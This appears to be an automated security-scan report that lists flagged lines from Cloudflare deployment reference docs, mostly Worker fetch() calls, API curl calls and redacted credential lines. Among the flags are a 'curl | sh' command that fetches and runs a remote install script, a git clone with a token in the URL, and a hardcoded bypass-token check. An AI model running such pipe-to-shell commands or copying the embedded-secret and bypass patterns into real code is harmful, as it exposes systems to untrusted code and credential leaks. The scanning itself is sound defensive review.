- [API Reference](https://developers.cloudflare.com/sandbox/api/) - Network accessline 192
- [Examples](https://github.com/cloudflare/sandbox-sdk/tree/main/examples) - Network accessline 193
- [npm Package](https://www.npmjs.com/package/@cloudflare/sandbox) - Network accessline 194
- [Discord Support](https://discord.cloudflare.com)
packages/autoskills/skills-registry/cloudflare-deploy/references/sandbox/patterns.md
- Network accessline 6
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 7
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 32
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 33
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 39
if (request.url.endsWith('/start')) { await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh'); - Dangerous shell operationline 40
await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh'); - Network accessline 40
await sandbox.exec('curl -fsSL https://code-server.dev/install.sh | sh'); - Network accessline 57
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 58
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 87
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 88
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 110
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 111
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 133
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 134
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 168
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 169
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 196
// Clone repo await sandbox.exec('git clone https://github.com/user/repo.git /workspace/repo'); - Network accessline 197
await sandbox.exec('git clone https://github.com/user/repo.git /workspace/repo'); - Network accessline 199
// Authenticated (use env secrets) await sandbox.exec(`git clone https://${env.GITHUB_TOKEN}@github.com/user/repo.git`); - Network accessline 200
[Credential-related source omitted] - Access to secretsline 200
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/api.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 16
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 17
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 18
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 19
return fetch("https://api.example.com", { - Network accessline 29
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 30
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 31
[Credential-related source omitted] - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Network accessline 33
return fetch("https://api.example.com", { - Access to secretsline 49
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 57
[Credential-related source omitted] - Access to secretsline 60
[Credential-related source omitted] - Network accessline 65
Base: `https://api.cloudflare.com/client/v4` - Network accessline 70
[Credential-related source omitted] - Access to secretsline 70
[Credential-related source omitted] - Network accessline 71
https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/secrets_store/stores - Access to secretsline 163
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/configuration.md
- Access to secretsline 13
[Credential-related source omitted] - Access to secretsline 15
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Access to secretsline 45
[Credential-related source omitted] - Access to secretsline 47
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Access to secretsline 56
[Credential-related source omitted] - Access to secretsline 69
[Credential-related source omitted] - Access to secretsline 71
[Credential-related source omitted] - Access to secretsline 75
[Credential-related source omitted] - Access to secretsline 77
[Credential-related source omitted] - Access to secretsline 131
[Credential-related source omitted] - Access to secretsline 136
[Credential-related source omitted] - Access to secretsline 169
[Credential-related source omitted] - Access to secretsline 171
[Credential-related source omitted] - Access to secretsline 181
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/secrets-store/patterns.md
- Network accessline 13
[Credential-related source omitted] - Network accessline 14
[Credential-related source omitted] - Network accessline 17
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 18
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 19
[Credential-related source omitted] - Access to secretsline 19
[Credential-related source omitted] - Network accessline 21
// Fallback during rotation if (!resp.ok && env.FALLBACK_KEY) { resp = await fetchWithAuth("https://api.example.com", await env.FALLBACK_KEY.get()); - Network accessline 22
[Credential-related source omitted] - Access to secretsline 22
[Credential-related source omitted] - Network accessline 23
[Credential-related source omitted] - Access to secretsline 23
[Credential-related source omitted] - Network accessline 57
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 58
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 59
[Credential-related source omitted] - Network accessline 83
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 84
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 85
[Credential-related source omitted] - Network accessline 96
export default { async fetch(request: Request, env: Env, ctx: ExecutionContext) { - Network accessline 97
async fetch(request: Request, env: Env, ctx: ExecutionContext) { - Network accessline 99
[Credential-related source omitted] - Network accessline 100
[Credential-related source omitted] - Access to secretsline 100
[Credential-related source omitted] - Network accessline 101
const resp = await fetch("https://api.example.com", { - Network accessline 105
ctx.waitUntil( fetch("https://log.example.com/log", { - Network accessline 106
fetch("https://log.example.com/log", { - Access to secretsline 110
[Credential-related source omitted] - Network accessline 118
} catch (error) { ctx.waitUntil( fetch("https://log.example.com/log", { - Network accessline 119
ctx.waitUntil( fetch("https://log.example.com/log", { method: "POST", - Network accessline 120
fetch("https://log.example.com/log", { - Access to secretsline 124
[Credential-related source omitted] - Access to secretsline 140
[Credential-related source omitted] - Access to secretsline 141
[Credential-related source omitted] - Access to secretsline 142
[Credential-related source omitted] - Access to secretsline 144
[Credential-related source omitted] - Network accessline 171
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 172
async fetch(request: Request, env: Env): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/README.md
packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/api.md
- Network accessline 8
curl -X GET "https://api.cloudflare.com/client/v4/accounts/{ACCOUNT_ID}/workers/services/{WORKER_NAME}" \ - Network accessline 68
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 69
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 82
[Credential-related source omitted] - Network accessline 130
[Credential-related source omitted] - Network accessline 131
[Credential-related source omitted] - Network accessline 132
https://api.cloudflare.com/client/v4/accounts/$ACCOUNT_ID/workers/services/$WORKER_NAME \ - Network accessline 175
// Example Worker with Service Binding export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 176
export default { async fetch(request: Request, env: Env): Promise<Response> { // Forward to backend Worker with Smart Placement enabled - Network accessline 177
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 178
// Forward to backend Worker with Smart Placement enabled const response = await env.BACKEND_SERVICE.fetch(request); return response; - Network accessline 179
const response = await env.BACKEND_SERVICE.fetch(request); - Access to secretsline 182
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/configuration.md
- Network accessline 85
// ✅ Smart Placement affects this: export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 86
export default { async fetch(request: Request, env: Env): Promise<Response> { // This runs close to backend when Smart Placement enabled - Network accessline 87
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 144
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 145
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 149
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/gotchas.md
- Network accessline 131
// ✅ Fetch - Smart Placement WORKS export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 132
export default { async fetch(request: Request, env: Env): Promise<Response> { // Runs close to DATABASE when Smart Placement enabled - Network accessline 133
async fetch(request: Request, env: Env): Promise<Response> {
packages/autoskills/skills-registry/cloudflare-deploy/references/smart-placement/patterns.md
- Network accessline 6
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 7
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 30
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 31
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 32
if (new URL(request.url).pathname.startsWith('/api/')) { return env.BACKEND.fetch(request); // Forward to backend } - Network accessline 33
return env.BACKEND.fetch(request); // Forward to backend - Network accessline 44
export default { async fetch(request: Request, env: BackendEnv): Promise<Response> { - Network accessline 45
async fetch(request: Request, env: BackendEnv): Promise<Response> { - Network accessline 65
// ✅ Fetch - Smart Placement WORKS export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 66
export default { async fetch(request: Request, env: Env): Promise<Response> { // Runs close to DATABASE when Smart Placement enabled - Network accessline 67
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 78
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 79
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 80
const apiUrl = 'https://api.partner.com'; - Access to secretsline 81
[Credential-related source omitted] - Network accessline 83
const [profile, transactions] = await Promise.all([ fetch(`${apiUrl}/profile`, { headers }), - Network accessline 84
fetch(`${apiUrl}/profile`, { headers }), - Network accessline 85
fetch(`${apiUrl}/transactions`, { headers }) - Network accessline 99
// Frontend (edge) - auth/routing close to user export default { async fetch(request: Request, env: Env) { - Network accessline 100
export default { async fetch(request: Request, env: Env) { if (!request.headers.get('Authorization')) { - Network accessline 101
async fetch(request: Request, env: Env) { - Network accessline 103
return new Response('Unauthorized', { status: 401 }); } const data = await env.BACKEND.fetch(request); - Network accessline 104
} const data = await env.BACKEND.fetch(request); return new Response(renderPage(await data.json()), { - Network accessline 105
const data = await env.BACKEND.fetch(request); - Network accessline 112
// Backend (Smart Placement) - DB operations close to data export default { async fetch(request: Request, env: Env) { - Network accessline 113
export default { async fetch(request: Request, env: Env) { const data = await env.DATABASE.prepare('SELECT * FROM pages WHERE id = ?').bind(pageId).first(); - Network accessline 114
async fetch(request: Request, env: Env) { - Network accessline 130
// Worker with Smart Placement - aggregates data from multiple DOs export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 131
export default { async fetch(request: Request, env: Env): Promise<Response> { const userId = new URL(request.url).searchParams.get('user'); - Network accessline 132
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 140
// Fetch from multiple DOs const [userData, analyticsData] = await Promise.all([ userDO.fetch(new Request('https://do/profile')), - Network accessline 141
const [userData, analyticsData] = await Promise.all([ userDO.fetch(new Request('https://do/profile')), analyticsDO.fetch(new Request('https://do/stats')) - Network accessline 142
userDO.fetch(new Request('https://do/profile')), - Network accessline 143
analyticsDO.fetch(new Request('https://do/stats'))
packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/README.md
- Network accessline 52
// Snippet: Add security headers export default { async fetch(request) { - Network accessline 53
export default { async fetch(request) { const response = await fetch(request); - Network accessline 54
async fetch(request) { - Network accessline 55
const response = await fetch(request); - Network accessline 68
- [Cloudflare Docs](https://developers.cloudflare.com/rules/snippets/)
packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/api.md
- Network accessline 91
// Redirect Response.redirect("https://example.com", 301) // or 302 - Network accessline 92
Response.redirect("https://example.com", 301) // or 302 - Network accessline 171
### ✅ Supported - `fetch()` - HTTP requests (2-5 subrequests per plan) - Network accessline 172
- `fetch()` - HTTP requests (2-5 subrequests per plan) - Network accessline 185
- `HTMLRewriter` - HTML parsing (use Workers) - `import` statements - No module imports - `addEventListener` - Use `export default { async fetch() {}` pattern - Network accessline 187
- `addEventListener` - Use `export default { async fetch() {}` pattern - Network accessline 191
export default { async fetch(request) { - Network accessline 192
async fetch(request) { - Network accessline 193
// Your logic here const response = await fetch(request); return response; // or modified response - Network accessline 194
const response = await fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/configuration.md
- Network accessline 24
# Create/update snippet curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/$SNIPPET_NAME" \ - Network accessline 25
[Credential-related source omitted] - Access to secretsline 25
[Credential-related source omitted] - Access to secretsline 27
[Credential-related source omitted] - Network accessline 31
# Create snippet rule curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/snippet_rules" \ - Network accessline 32
[Credential-related source omitted] - Access to secretsline 32
[Credential-related source omitted] - Access to secretsline 34
[Credential-related source omitted] - Network accessline 47
# List snippets curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets" \ - Network accessline 48
[Credential-related source omitted] - Access to secretsline 48
[Credential-related source omitted] - Access to secretsline 49
[Credential-related source omitted] - Network accessline 51
# Delete snippet curl "https://api.cloudflare.com/client/v4/zones/$ZONE_ID/snippets/$SNIPPET_NAME" \ - Network accessline 52
[Credential-related source omitted] - Access to secretsline 52
[Credential-related source omitted] - Access to secretsline 54
[Credential-related source omitted] - Network accessline 218
# Create token at: https://dash.cloudflare.com/profile/api-tokens - Access to secretsline 220
[Credential-related source omitted] - Access to secretsline 226
[Credential-related source omitted]
packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/gotchas.md
- Network accessline 8
try { return await fetch(request); } - Network accessline 15
### 1201: "Multiple origin fetches" Call `fetch(request)` exactly once: - Network accessline 16
Call `fetch(request)` exactly once: - Network accessline 18
// ❌ Multiple origin fetches const r1 = await fetch(request); const r2 = await fetch(request); - Network accessline 19
const r1 = await fetch(request); const r2 = await fetch(request); - Network accessline 21
const response = await fetch(request); - Network accessline 59
curl -H "X-Test: true" https://example.com -v - Network accessline 64
**✅ Available:** `fetch()`, `Request`, `Response`, `Headers`, `URL`, `crypto.subtle`, `crypto.randomUUID()`, `atob()`/`btoa()`, `JSON` - Network accessline 81
| Header set | <0.1ms | | URL parsing | <0.2ms | | fetch() | 1-3ms | - Network accessline 82
| URL parsing | <0.2ms | | fetch() | 1-3ms | | SHA-256 | 0.5-1ms | - Network accessline 83
| fetch() | 1-3ms |
packages/autoskills/skills-registry/cloudflare-deploy/references/snippets/patterns.md
- Network accessline 6
export default { async fetch(request) { - Network accessline 7
async fetch(request) { - Network accessline 8
const response = await fetch(request); - Network accessline 23
export default { async fetch(request) { - Network accessline 24
async fetch(request) { - Network accessline 29
return Response.redirect(url.toString(), 302); } return fetch(request); - Network accessline 30
} return fetch(request); } - Network accessline 31
return fetch(request); - Network accessline 39
export default { async fetch(request) { - Network accessline 40
async fetch(request) { - Network accessline 44
const req = new Request(request); req.headers.set("X-Variant", variant); const response = await fetch(req); - Network accessline 46
const response = await fetch(req); - Network accessline 61
export default { async fetch(request) { - Network accessline 62
async fetch(request) { - Network accessline 63
const botScore = request.cf.botManagement?.score; if (botScore && botScore < 30) return new Response("Denied", { status: 403 }); return fetch(request); - Network accessline 64
if (botScore && botScore < 30) return new Response("Denied", { status: 403 }); return fetch(request); } - Network accessline 65
return fetch(request); - Network accessline 75
export default { async fetch(request) { - Network accessline 76
async fetch(request) { - Network accessline 79
req.headers.set("X-Internal-Auth", "secret_token"); req.headers.delete("Authorization"); return fetch(req); - Network accessline 80
req.headers.delete("Authorization"); return fetch(req); } - Network accessline 81
return fetch(req); - Network accessline 82
} return fetch(request); } - Network accessline 83
return fetch(request); - Network accessline 91
export default { async fetch(request) { - Network accessline 92
async fetch(request) { - Network accessline 101
}); } const response = await fetch(request); - Network accessline 102
} const response = await fetch(request); const newResponse = new Response(response.body, response); - Network accessline 103
const response = await fetch(request); - Network accessline 114
export default { async fetch(request) { - Network accessline 115
async fetch(request) { - Network accessline 116
if (request.headers.get("X-Bypass-Token") === "admin") return fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/README.md
- Network accessline 24
1. **Create/manage Spectrum app** - Via Dashboard → See [Cloudflare Dashboard](https://dash.cloudflare.com) - Network accessline 25
- Via Dashboard → See [Cloudflare Dashboard](https://dash.cloudflare.com) - Network accessline 52
- [Cloudflare Docs](https://developers.cloudflare.com/spectrum/)
packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/api.md
packages/autoskills/skills-registry/cloudflare-deploy/references/spectrum/gotchas.md
packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/README.md
- Network accessline 20
// src/index.ts export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 21
export default { async fetch(request: Request, env: Env): Promise<Response> { return env.ASSETS.fetch(request); - Network accessline 22
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 23
return env.ASSETS.fetch(request); - Network accessline 63
- [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/) - Network accessline 64
- [Static Assets Docs](https://developers.cloudflare.com/workers/static-assets/) - Network accessline 65
- [Cloudflare Pages](https://developers.cloudflare.com/pages/)
packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/api.md
- Network accessline 14
interface Fetcher { fetch(input: RequestInfo | URL, init?: RequestInit): Promise<Response>; - Network accessline 15
fetch(input: RequestInfo | URL, init?: RequestInit): Promise<Response>; - Network accessline 22
// 1. Forward entire request await env.ASSETS.fetch(request); - Network accessline 23
await env.ASSETS.fetch(request); - Network accessline 25
// 2. String path (hostname ignored, only path matters) await env.ASSETS.fetch("https://any-host/path/to/asset.png"); - Network accessline 26
await env.ASSETS.fetch("https://any-host/path/to/asset.png"); - Network accessline 28
// 3. URL object await env.ASSETS.fetch(new URL("/index.html", request.url)); - Network accessline 29
await env.ASSETS.fetch(new URL("/index.html", request.url)); - Network accessline 31
// 4. Constructed Request object await env.ASSETS.fetch(new Request(new URL("/logo.png", request.url), { - Network accessline 32
await env.ASSETS.fetch(new Request(new URL("/logo.png", request.url), { - Network accessline 50
// All resolve to same asset: env.ASSETS.fetch("https://example.com/logo.png") - Network accessline 51
env.ASSETS.fetch("https://example.com/logo.png") - Network accessline 52
env.ASSETS.fetch("https://ignored.host/logo.png") - Network accessline 53
env.ASSETS.fetch("/logo.png") - Network accessline 158
const response = await env.ASSETS.fetch(request); - Network accessline 176
const response = await env.ASSETS.fetch(request); - Network accessline 191
// Serve different assets based on conditions if (url.pathname === '/') { return env.ASSETS.fetch('/index.html'); - Network accessline 192
if (url.pathname === '/') { return env.ASSETS.fetch('/index.html'); } - Network accessline 193
return env.ASSETS.fetch('/index.html'); - Network accessline 196
return env.ASSETS.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/configuration.md
- Network accessline 161
Use current date for new projects. See [Compatibility Dates](https://developers.cloudflare.com/workers/configuration/compatibility-dates/) for full list.
packages/autoskills/skills-registry/cloudflare-deploy/references/static-assets/patterns.md
- Network accessline 6
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 7
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 8
return env.ASSETS.fetch(request); - Network accessline 16
const response = await env.ASSETS.fetch("https://assets.local/logo.png"); - Network accessline 22
const url = new URL(request.url); url.pathname = "/index.html"; return env.ASSETS.fetch(new Request(url, request)); - Network accessline 24
return env.ASSETS.fetch(new Request(url, request)); - Network accessline 30
const response = await env.ASSETS.fetch(request); - Network accessline 40
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 41
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 42
const url = new URL(request.url); if (url.pathname === '/') { return env.ASSETS.fetch('/index.html'); - Network accessline 43
if (url.pathname === '/') { return env.ASSETS.fetch('/index.html'); } - Network accessline 44
return env.ASSETS.fetch('/index.html'); - Network accessline 45
} return env.ASSETS.fetch(request); } - Network accessline 46
return env.ASSETS.fetch(request); - Network accessline 56
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 57
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 60
return handleAPI(request, env); } return env.ASSETS.fetch(request); - Network accessline 61
} return env.ASSETS.fetch(request); } - Network accessline 62
return env.ASSETS.fetch(request); - Network accessline 78
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 79
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 85
} } return env.ASSETS.fetch(request); - Network accessline 86
} return env.ASSETS.fetch(request); } - Network accessline 87
return env.ASSETS.fetch(request); - Network accessline 97
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 98
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 99
const response = await env.ASSETS.fetch(request); - Network accessline 112
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 113
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 116
const url = new URL(request.url); if (url.pathname === '/') { return env.ASSETS.fetch(`/index-${variant}.html`); - Network accessline 117
if (url.pathname === '/') { return env.ASSETS.fetch(`/index-${variant}.html`); } - Network accessline 118
return env.ASSETS.fetch(`/index-${variant}.html`); - Network accessline 119
} return env.ASSETS.fetch(request); } - Network accessline 120
return env.ASSETS.fetch(request); - Network accessline 128
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 129
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 131
const url = new URL(request.url); if (url.pathname === '/') { return env.ASSETS.fetch(`/${locale}/index.html`); - Network accessline 132
if (url.pathname === '/') { return env.ASSETS.fetch(`/${locale}/index.html`); } - Network accessline 133
return env.ASSETS.fetch(`/${locale}/index.html`); - Network accessline 136
url.pathname = `/${locale}${url.pathname}`; } return env.ASSETS.fetch(url); - Network accessline 137
} return env.ASSETS.fetch(url); } - Network accessline 138
return env.ASSETS.fetch(url); - Network accessline 146
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 147
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 160
} } return env.ASSETS.fetch(request); - Network accessline 161
} return env.ASSETS.fetch(request); } - Network accessline 162
return env.ASSETS.fetch(request); - Network accessline 172
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 173
async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 174
const response = await env.ASSETS.fetch(request);
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/README.md
- Network accessline 48
curl -X POST \ - Network accessline 49
"https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/copy" \ - Network accessline 50
[Credential-related source omitted] - Network accessline 52
-d '{"url": "https://example.com/video.mp4"}' - Network accessline 57
<iframe src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe" - Network accessline 58
src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe" - Network accessline 68
curl -X POST \ - Network accessline 69
"https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/live_inputs" \ - Network accessline 88
- Dashboard: https://dash.cloudflare.com/?to=/:account/stream - Network accessline 89
- API Docs: https://developers.cloudflare.com/api/resources/stream/ - Network accessline 90
- Stream Docs: https://developers.cloudflare.com/stream/
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/api-live.md
- Access to secretsline 12
[Credential-related source omitted] - Network accessline 26
async function createLiveInput(accountId: string, apiToken: string) { const response = await fetch( - Network accessline 27
const response = await fetch( - Network accessline 28
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs`, - Network accessline 51
async function getLiveStatus(accountId: string, liveInputId: string, apiToken: string) { const response = await fetch( - Network accessline 52
const response = await fetch( - Network accessline 53
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}`, - Network accessline 72
outputUrl: string, streamKey: string ) { return fetch( - Network accessline 73
) { return fetch( `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}/outputs`, - Network accessline 74
return fetch( - Network accessline 75
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/live_inputs/${liveInputId}/outputs`, - Network accessline 125
// Send to Stream via WHIP const response = await fetch( - Network accessline 126
const response = await fetch( - Network accessline 127
`https://customer-<CODE>.cloudflarestream.com/${liveInputId}/webRTC/publish`, - Network accessline 152
const response = await fetch( - Network accessline 153
`https://customer-<CODE>.cloudflarestream.com/${videoId}/webRTC/play`, - Network accessline 179
timeoutSeconds: 30, // Auto-stop 30s after stream ends requireSignedURLs: true, // Require token for VOD playback allowedOrigins: ['https://yourdomain.com'] - Network accessline 180
requireSignedURLs: true, // Require token for VOD playback allowedOrigins: ['https://yourdomain.com'] }; - Network accessline 181
allowedOrigins: ['https://yourdomain.com']
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/api.md
- Access to secretsline 13
[Credential-related source omitted] - Network accessline 27
const formData = new FormData(); formData.append('file', file); return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json()); - Network accessline 28
formData.append('file', file); return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json()); } - Network accessline 29
return fetch(uploadURL, { method: 'POST', body: formData }).then(r => r.json()); - Network accessline 36
const video = await client.stream.copy.create({ account_id: env.CF_ACCOUNT_ID, url: 'https://example.com/video.mp4', - Network accessline 37
account_id: env.CF_ACCOUNT_ID, url: 'https://example.com/video.mp4', meta: { name: 'My Video' }, - Network accessline 38
url: 'https://example.com/video.mp4', - Network accessline 49
<iframe src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe?autoplay=true&muted=true" - Network accessline 50
src="https://customer-<CODE>.cloudflarestream.com/<VIDEO_ID>/iframe?autoplay=true&muted=true" - Network accessline 60
// HLS const hlsUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.m3u8`; - Network accessline 61
const hlsUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.m3u8`; - Network accessline 63
// DASH const dashUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.mpd`; - Network accessline 64
const dashUrl = `https://customer-<CODE>.cloudflarestream.com/${videoId}/manifest/video.mpd`; - Network accessline 70
// At specific time (seconds) const thumb = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=10s`; - Network accessline 71
const thumb = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=10s`; - Network accessline 73
// By percentage const thumbPct = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=50%`; - Network accessline 74
const thumbPct = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.jpg?time=50%`; - Network accessline 76
// Animated GIF const gif = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.gif`; - Network accessline 77
const gif = `https://customer-<CODE>.cloudflarestream.com/${videoId}/thumbnails/thumbnail.gif`; - Network accessline 83
// Low volume (<1k/day): Use API async function getSignedToken(accountId: string, videoId: string, apiToken: string) { const response = await fetch( - Network accessline 84
async function getSignedToken(accountId: string, videoId: string, apiToken: string) { const response = await fetch( `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/token`, - Network accessline 85
const response = await fetch( - Network accessline 86
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/token`, - Network accessline 111
const formData = new FormData(); formData.append('file', captionFile); return fetch( - Network accessline 112
formData.append('file', captionFile); return fetch( `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/${language}`, - Network accessline 113
return fetch( - Network accessline 114
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/${language}`, - Network accessline 127
// TODO: Requires Workers AI integration - see workers-ai reference async function generateAICaptions(accountId: string, videoId: string, apiToken: string) { return fetch( - Network accessline 128
async function generateAICaptions(accountId: string, videoId: string, apiToken: string) { return fetch( `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/generate`, - Network accessline 129
return fetch( - Network accessline 130
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/${videoId}/captions/generate`, - Network accessline 145
startTime: number, endTime: number ) { return fetch( - Network accessline 146
) { return fetch( `https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/clip`, - Network accessline 147
return fetch( - Network accessline 148
`https://api.cloudflare.com/client/v4/accounts/${accountId}/stream/clip`,
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/configuration.md
- Network accessline 59
curl -X POST \ - Network accessline 60
"https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/keys" \ - Network accessline 76
curl -X PUT \ - Network accessline 77
"https://api.cloudflare.com/client/v4/accounts/{account_id}/stream/webhook" \ - Network accessline 78
[Credential-related source omitted] - Network accessline 80
-d '{"notificationUrl": "https://your-worker.workers.dev/webhook"}' - Network accessline 96
expiry: new Date(Date.now() + 3600000).toISOString(), requireSignedURLs: true, allowedOrigins: ['https://yourdomain.com'], - Network accessline 97
requireSignedURLs: true, allowedOrigins: ['https://yourdomain.com'], meta: { creator: 'user-123' } - Network accessline 98
allowedOrigins: ['https://yourdomain.com'],
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/gotchas.md
- Network accessline 100
const formData = new FormData(); formData.append('file', file); const response = await fetch(url, { method: 'POST', body: formData }); - Network accessline 101
formData.append('file', file); const response = await fetch(url, { method: 'POST', body: formData }); const result = await response.json(); - Network accessline 102
const response = await fetch(url, { method: 'POST', body: formData });
packages/autoskills/skills-registry/cloudflare-deploy/references/stream/patterns.md
- Network accessline 23
export default { async fetch(request: Request, env: Env): Promise<Response> { - Network accessline 24
async fetch(request: Request, env: Env): Promise<Response> { - Access to secretsline 26
[Credential-related source omitted] - Network accessline 46
async function handleUpload(file: File) { setUploading(true); const { uploadURL, uid } = await fetch('/api/upload-url', { - Network accessline 47
setUploading(true); const { uploadURL, uid } = await fetch('/api/upload-url', { method: 'POST', - Network accessline 48
